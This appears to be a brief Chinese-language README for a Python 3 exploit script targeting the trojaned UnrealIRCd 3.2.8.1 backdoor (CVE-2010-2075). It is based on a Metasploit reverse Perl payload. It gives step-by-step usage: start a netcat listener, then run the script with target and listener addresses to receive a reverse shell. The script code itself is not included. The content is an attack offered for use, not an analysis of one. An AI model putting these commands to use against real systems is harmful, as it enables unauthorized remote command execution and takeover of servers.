Python 3 中的 UnrealIRCd 3.2.8.1 后门命令执行漏洞 (CVE-2010-2075)。

UnrealIRCd版本 3.2.8.1 包含允许远程攻击者执行任意命令的特洛伊木马 ( CVE-2010-2075 )。

我引用了 Metasploit 负载payload/cmd/unix/reverse_perl来制作这个脚本。

在监听主机上启动 Netcat 监听器：

nc -lp 4444

执行脚本，提供以下位置参数：

python3 script.py <target> <tport> <listener> <lport>

• <target>目标主机 IP 地址。

• <tport>目标主机端口号。

• <listener>侦听主机 IP 地址。

• <lport>侦听主机端口号。

在本地机器上设置 Netcat 侦听器：

nc -lp 4444

192.168.1.3在TCP 端口针对目标机器运行脚本6697：

python3 script.py 192.168.1.3 6697 192.168.1.2 4444

等一下，Netcat 侦听器应该会收到一个反向 shell。